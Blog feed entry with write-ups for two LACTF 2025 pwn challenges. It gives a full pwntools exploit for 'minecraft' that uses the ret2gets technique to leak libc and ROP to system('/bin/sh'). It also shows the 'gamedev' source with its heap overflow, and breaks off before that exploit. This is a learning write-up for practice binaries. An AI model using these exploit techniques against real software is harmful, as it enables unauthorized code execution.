<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="4.1.1">Jekyll</generator><link href="https://gabri3l.net/feed.xml" rel="self" type="application/atom+xml" /><link href="https://gabri3l.net/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2025-09-01T01:03:58+07:00</updated><id>https://gabri3l.net/feed.xml</id><title type="html">Gabriel’s Blog</title><subtitle>vibin</subtitle><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><entry><title type="html">LACTF 2025</title><link href="https://gabri3l.net/LACTF-2025-Writeups/" rel="alternate" type="text/html" title="LACTF 2025" /><published>2025-02-16T00:00:00+07:00</published><updated>2025-02-16T00:00:00+07:00</updated><id>https://gabri3l.net/LACTF-2025-Writeups</id><content type="html" xml:base="https://gabri3l.net/LACTF-2025-Writeups/"><![CDATA[<p>Another year, another LA CTF. As per usual this CTF was quite fun to play and I enjoyed it quite a bit. Also, my teammates went sicko mode and we got 10th, so all in a weekend’s
work I suppose. Below are write-ups for <code class="language-plaintext highlighter-rouge">minecraft</code> and <code class="language-plaintext highlighter-rouge">gamedev</code>, both fun challenges.</p>

<h1 id="minecraft--80-solves">minecraft | 80 Solves</h1>
<blockquote>
  <p>look mom i made minecraft!</p>
</blockquote>

<p>At first glance this challenge seems pretty straight forward. We’ve got a buffer overflow in <code class="language-plaintext highlighter-rouge">main()</code> due to the use of <code class="language-plaintext highlighter-rouge">gets()</code>. Beyond that there is not much else of importance; there are some menu options which advocate for the playing of survival mode, and as soon as our world is created we are blown up by a creeper. Pretty typical. We can also choose to exit the infinite loop of <code class="language-plaintext highlighter-rouge">main()</code> if we wish. The contents of main can be seen below.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">M I N C E R A F T</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"1. Singleplayer"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"2. Multiplayer"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">read_int</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"who needs friends???"</span><span class="p">);</span>
      <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Creating new world"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Enter world name:"</span><span class="p">);</span>
    <span class="kt">char</span> <span class="n">world_name</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
    <span class="n">scanf</span><span class="p">(</span><span class="s">" "</span><span class="p">);</span>
    <span class="n">gets</span><span class="p">(</span><span class="n">world_name</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Select game mode"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"1. Survival"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"2. Creative"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">read_int</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"only noobs play creative smh"</span><span class="p">);</span>
      <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Creating new world"</span><span class="p">);</span>
    <span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"25%"</span><span class="p">);</span>
    <span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"50%"</span><span class="p">);</span>
    <span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"75%"</span><span class="p">);</span>
    <span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"100%"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">YOU DIED</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"you got blown up by a creeper :("</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"1. Return to main menu"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"2. Exit"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">read_int</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Also it should be noted that this binary has minimal protection. No canary or PIE and partial RELRO.</p>

<p>So we know we have a buffer overflow, and as there is no <code class="language-plaintext highlighter-rouge">win()</code> function, we’ll have to return to libc somehow. But how to do that? Well we’ll need a libc leak to even start thinking about that and there isn’t a way to do that as there is. No printf stack leak or other built in primitives. ROP gadget time! But the tried and true <code class="language-plaintext highlighter-rouge">pop rdi</code> -&gt; leak GOT with printf or similar -&gt; put <code class="language-plaintext highlighter-rouge">/bin/sh</code> into <code class="language-plaintext highlighter-rouge">rdi</code> -&gt; ret2 <code class="language-plaintext highlighter-rouge">system()</code> pipeline isn’t going to work here. There are no <code class="language-plaintext highlighter-rouge">pop rdi</code> gadgets so we will not be able to control the first argument that way.</p>

<p>But never fear! For during Cyberspace’s CTF back in September I found out about a cool technique coined <code class="language-plaintext highlighter-rouge">ret2gets</code>. There is a super awesome blog post that I not only used for my exploit here, but also explains this attack very well. It also explains the disappearance of <code class="language-plaintext highlighter-rouge">pop rdi; ret</code> gadgets in binaries complied with GLIBC &gt;=2.34. All my homies miss <code class="language-plaintext highlighter-rouge">_libc_csu_init</code>, RIP to a legend. Here is the <a href="https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets">blog</a>. But, here is a quick synopsis.</p>

<p>GLIBC supports multi-threading which means that many functions need to be thread safe to prevent race conditions. These occur when some entity in one thread tries to access something currently in use by another thread, which would obviously present a problem. When called, most libc IO functions will acquire something called a lock on <code class="language-plaintext highlighter-rouge">stdin</code>. By placing a lock on something like <code class="language-plaintext highlighter-rouge">stdin</code> it tells other threads that try to access it that <code class="language-plaintext highlighter-rouge">stdin</code> is in use and can not be used at that time. Here’s where it gets (haha get it?) interesting if it wasn’t already. In the case of most GLIBC IO functions, the macro <code class="language-plaintext highlighter-rouge">_IO_acquire_lock</code> is called at the start to acquire the lock and <code class="language-plaintext highlighter-rouge">_IO_release_lock</code> is called at the end. <code class="language-plaintext highlighter-rouge">_IO_release_lock</code> takes in file pointer to <code class="language-plaintext highlighter-rouge">stdin</code> as is seen here in the libc source for <img src="https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/iogets.c#66" alt="this version" /> of libc which is 2.36. However, while debugging in GDB, I did not see <code class="language-plaintext highlighter-rouge">_IO_release_lock</code> nor any of the locking macros discussed in the aforementioned blog. This is most likely due to compiler optimization. But, what we can see is the following instruction seen below.</p>

<p><img src="loading_rdi.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">_IO_2_1_stdin_ + 136</code> is being loaded into <code class="language-plaintext highlighter-rouge">rdi</code>. Doing some research <code class="language-plaintext highlighter-rouge">_IO_2_1_stdin_</code> is the definition of <code class="language-plaintext highlighter-rouge">stdin</code>. This would make sense that we’re seeing this knowing what we know about locking functions at the end of <code class="language-plaintext highlighter-rouge">gets()</code>. Additionally, <code class="language-plaintext highlighter-rouge">_IO_2_1_stdin_</code> is of type <code class="language-plaintext highlighter-rouge">FILE</code>, and as mentioned by sashactf in their blog;</p>

<blockquote>
  <p>“FILE has a field _lock, which is a pointer to a _IO_lock_t (stored at offset +0x88)”.</p>
</blockquote>

<p><code class="language-plaintext highlighter-rouge">0x88</code> is 136 in decimal. So, we can infer that <code class="language-plaintext highlighter-rouge">_IO_2_1_stdin_ + 136</code> is the location of the <code class="language-plaintext highlighter-rouge">_IO_lock_t</code> struct. So, the <code class="language-plaintext highlighter-rouge">_IO_lock_t</code> struct is being loaded into <code class="language-plaintext highlighter-rouge">rdi</code> at the end of <code class="language-plaintext highlighter-rouge">gets()</code>. And, once this is loaded into <code class="language-plaintext highlighter-rouge">rdi</code>, <code class="language-plaintext highlighter-rouge">gets()</code> returns shortly after without clobbering it. And there you have it! Through the mist and mire of libc IO and locking we have a pointer to libc in <code class="language-plaintext highlighter-rouge">rdi</code> when <code class="language-plaintext highlighter-rouge">gets()</code> returns. Now the question remains, how do we turn this into an exploit?</p>

<p>Well, since now have a pointer to stdin’s <code class="language-plaintext highlighter-rouge">_IO_lock_t</code> struct in rdi, we can simply call <code class="language-plaintext highlighter-rouge">gets()</code> again to write into this region. But how does that help us? Before we do anything, we’ll need a libc leak. Here is the layout of this struct;</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">lock</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">cnt</span><span class="p">;</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">owner</span><span class="p">;</span>
<span class="p">}</span> <span class="n">_IO_lock_t</span><span class="p">;</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">owner</code> field gets assigned to the address of the <code class="language-plaintext highlighter-rouge">TLS</code> struct for the current thread. The TLS (Thread Local Storage) struct is a method to keep track of variables that have one instance per thread; for instance, the stack canary is stored here! Crucially, if we can leak this pointer, we’ll have our libc leak! What we can do is overflow the buffer, call <code class="language-plaintext highlighter-rouge">gets()</code> to let us read into this struct, and then send in a payload of 4 chars and three null bytes like so.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="o">*</span><span class="mi">3</span><span class="p">)</span>
</code></pre></div></div>

<p>This will over write the <code class="language-plaintext highlighter-rouge">lock</code> integer and will set <code class="language-plaintext highlighter-rouge">cnt</code> to zero. Setting the count to zero will cause it to underflow because <code class="language-plaintext highlighter-rouge">cnt</code> is decremented after a lock is released. See <a href="https://elixir.bootlin.com/glibc/glibc-2.35/source/sysdeps/nptl/stdio-lock.h#L67">_IO_lock_unlock</a>. If you also look at the aforementioned source of <code class="language-plaintext highlighter-rouge">_IO_lock_unlock</code> you’ll see that because of the underflow, the check in the if statement fails and owner does not get set to null. This ensures that the padding up until <code class="language-plaintext highlighter-rouge">*owner</code> does not contain a null byte and <code class="language-plaintext highlighter-rouge">puts</code> can successfully print out the <code class="language-plaintext highlighter-rouge">TLS</code> struct and thus we have our libc leak.</p>

<p>With this leak we can now calculate the base address of libc by setting a breakpoint after our leak and taking a peak in gdb to calculate the offset relative to the base of libc. The python exploit for everything thus far is as follows.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"chall_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'libc.so.6'</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">process</span><span class="p">()</span>
<span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">script</span><span class="p">)</span>
<span class="n">offset</span> <span class="o">=</span> <span class="mi">72</span>
<span class="n">ret</span> <span class="o">=</span> <span class="mh">0x0000000000401016</span>
<span class="n">offset</span> <span class="o">=</span> <span class="mi">72</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="sa">b</span><span class="s">'a'</span> <span class="o">*</span> <span class="mi">72</span><span class="p">,</span>
    <span class="n">ret</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">plt</span><span class="p">.</span><span class="n">gets</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">plt</span><span class="p">.</span><span class="n">gets</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">plt</span><span class="p">.</span><span class="n">puts</span><span class="p">,</span>
    <span class="n">ret</span><span class="p">,</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'main'</span><span class="p">]</span>
<span class="p">])</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'2. Multiplayer</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'name:'</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'2. Creative'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'2. Exit'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'2'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">4</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="o">*</span><span class="mi">3</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">leak</span><span class="p">[</span><span class="o">-</span><span class="mi">7</span><span class="p">:].</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">))</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">+</span> <span class="mh">0x28c0</span>
</code></pre></div></div>
<p>Here we send in some <code class="language-plaintext highlighter-rouge">a</code>’s to fill up the stack space, a <code class="language-plaintext highlighter-rouge">ret</code> gadget for some stack alignment, and then we start the meat and potatoes of our ROP chain. We send in the first call to <code class="language-plaintext highlighter-rouge">gets()</code> to populate RDI with the <code class="language-plaintext highlighter-rouge">_IO_lock_t</code> struct. The second call to <code class="language-plaintext highlighter-rouge">gets()</code> allows us to write into that struct up to the address of the <code class="language-plaintext highlighter-rouge">TLS</code> struct. Then, we call <code class="language-plaintext highlighter-rouge">puts()</code> to print out that address to us and finally we pass in another <code class="language-plaintext highlighter-rouge">ret</code> gadget for stack alignment and return to <code class="language-plaintext highlighter-rouge">main()</code> for the next bit of our exploit.</p>

<p>Now that we have libc things are pretty straightforward. We’re back in main so we can simply overflow the <code class="language-plaintext highlighter-rouge">gets()</code> buffer again to do our traditional ROP chain. We’ll find a <code class="language-plaintext highlighter-rouge">pop rdi</code> gadget and the address of a <code class="language-plaintext highlighter-rouge">/bin/sh</code> string in libc, 
and then we’ll return to system. The rest of the exploit can be found below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pop_rdi</span> <span class="o">=</span> <span class="mh">0x00000000000277e5</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">address</span>
<span class="n">binsh</span> <span class="o">=</span> <span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh"</span><span class="p">))</span>
<span class="n">payload2</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'a'</span> <span class="o">*</span> <span class="n">offset</span><span class="p">,</span>
    <span class="n">pop_rdi</span><span class="p">,</span>
    <span class="n">binsh</span><span class="p">,</span>
    <span class="n">ret</span><span class="p">,</span>
    <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">]</span>
    <span class="p">])</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'2. Multiplayer</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'name:'</span><span class="p">,</span> <span class="n">payload2</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'2. Creative'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'2. Exit'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'2'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="c1"># lactf{miiineeeee_diaaaaamoooonddsssssss_ky8cnd5e}
</span></code></pre></div></div>
<p>And then we get the flag! Was a fun challenge and a cool application of the ret2gets technique.</p>

<h1 id="gamedev--108-solves">gamedev | 108 Solves</h1>

<blockquote>
  <p>You’ve heard of rogue-likes, but have you heard of heap-likes?</p>
</blockquote>

<p>This challenge took me a little bit to reason through. It’s a linked list like challenge where each entry in the list can contain data and pointers to other “levels”. Here is the basic structure.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">Level</span> <span class="o">*</span><span class="n">start</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">Level</span> <span class="o">*</span><span class="n">prev</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">Level</span> <span class="o">*</span><span class="n">curr</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

<span class="k">struct</span> <span class="n">Level</span>
<span class="p">{</span>
    <span class="k">struct</span> <span class="n">Level</span> <span class="o">*</span><span class="n">next</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
    <span class="kt">char</span> <span class="n">data</span><span class="p">[</span><span class="mh">0x20</span><span class="p">];</span>
<span class="p">};</span>
</code></pre></div></div>

<p>As you can see each “level” can store 8 more levels as well as <code class="language-plaintext highlighter-rouge">0x20</code> bytes of data. There is also a <code class="language-plaintext highlighter-rouge">start</code>, <code class="language-plaintext highlighter-rouge">prev</code>, and <code class="language-plaintext highlighter-rouge">curr</code> pointer kept updated globally. The way I looked at this is levels are added in tiers. Each tier can have eight levels. Pointers to levels in each tier are stored in the first level of that tier. Later we’ll see how you can navigate between tiers as each level in each tier can have eight more levels. The program provides a decent bit of functionality for interacting with this linked list.</p>

<p>The first we’ll examine is the <code class="language-plaintext highlighter-rouge">create_level</code> function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">create_level</span><span class="p">()</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">prev</span> <span class="o">==</span> <span class="n">curr</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"We encourage game creativity so try to mix it up!"</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Enter level index: "</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">get_num</span><span class="p">();</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">idx</span> <span class="o">&gt;</span> <span class="mi">7</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid index."</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">struct</span> <span class="n">Level</span> <span class="o">*</span><span class="n">level</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">Level</span><span class="p">));</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">level</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Failed to allocate level."</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">level</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
        <span class="n">level</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

    <span class="n">prev</span> <span class="o">=</span> <span class="n">level</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">start</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
        <span class="n">start</span> <span class="o">=</span> <span class="n">level</span><span class="p">;</span>
    <span class="k">else</span>
        <span class="n">curr</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">=</span> <span class="n">level</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Basically we get to specify an index and our new level is placed on the heap. Everything is pretty straightforward.</p>

<p>Next let’s examine the <code class="language-plaintext highlighter-rouge">explore</code> functionality.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">explore</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Enter level index: "</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">get_num</span><span class="p">();</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">idx</span> <span class="o">&gt;</span> <span class="mi">7</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid index."</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">curr</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"No level to explore."</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">curr</span> <span class="o">=</span> <span class="n">curr</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This will let us select an index of a level at the current “tier”, and that level becomes our current starting level, also the start of a new “tier”. I thought of this like taking a “branch”. This 
functionality will become useful to us.</p>

<p>Now we can look at the <code class="language-plaintext highlighter-rouge">edit_level</code> functionality; this is where things get interesting.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">edit_level</span><span class="p">()</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">start</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="o">||</span> <span class="n">curr</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"No level to edit."</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">curr</span> <span class="o">==</span> <span class="n">prev</span> <span class="o">||</span> <span class="n">curr</span> <span class="o">==</span> <span class="n">start</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"We encourage game creativity so try to mix it up!"</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Enter level data: "</span><span class="p">);</span>
    <span class="n">fgets</span><span class="p">(</span><span class="n">curr</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This let’s us edit the level we are currently at. We can traverse levels with the aforementioned explore functionality. You might have noticed something strange though; our <code class="language-plaintext highlighter-rouge">Level</code> struct only sets aside <code class="language-plaintext highlighter-rouge">0x20</code> bytes available for data but here we can enter in as much as <code class="language-plaintext highlighter-rouge">0x40</code> bytes. So, we’ve got ourselves a wee bit of an overflow.</p>

<p>There’s only a little bit more of functionality to cover. There is a <code class="language-plaintext highlighter-rouge">test_level</code> function which lets us print out data at our current level. That function can be seen below.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">test_level</span><span class="p">()</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">start</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="o">||</span> <span class="n">curr</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"No level to test."</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">curr</span> <span class="o">==</span> <span class="n">prev</span> <span class="o">||</span> <span class="n">curr</span> <span class="o">==</span> <span class="n">start</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"We encourage game creativity so try to mix it up!"</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Level data: "</span><span class="p">);</span>
    <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">curr</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">curr</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">));</span>
    <span class="n">putchar</span><span class="p">(</span><span class="sc">'\n'</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>There is a useful <code class="language-plaintext highlighter-rouge">reset</code> function that takes us back to the first “tier” of levels via the global “start” pointer.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">reset</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">curr</span> <span class="o">=</span> <span class="n">start</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Beyond that everything else is pretty standard. There is a menu function which lets us interact with all of the aforementioned functionality. The main function actually gives us a PIE leak which will be useful for later. There is also an <code class="language-plaintext highlighter-rouge">init()</code> function which basically just sets up the linked list by creating the starting level and setting the <code class="language-plaintext highlighter-rouge">start</code> and <code class="language-plaintext highlighter-rouge">curr</code> pointer. And finally, as far as protections go, the binary has PIE, no canary, partial RELRO, and NX is enabled.</p>

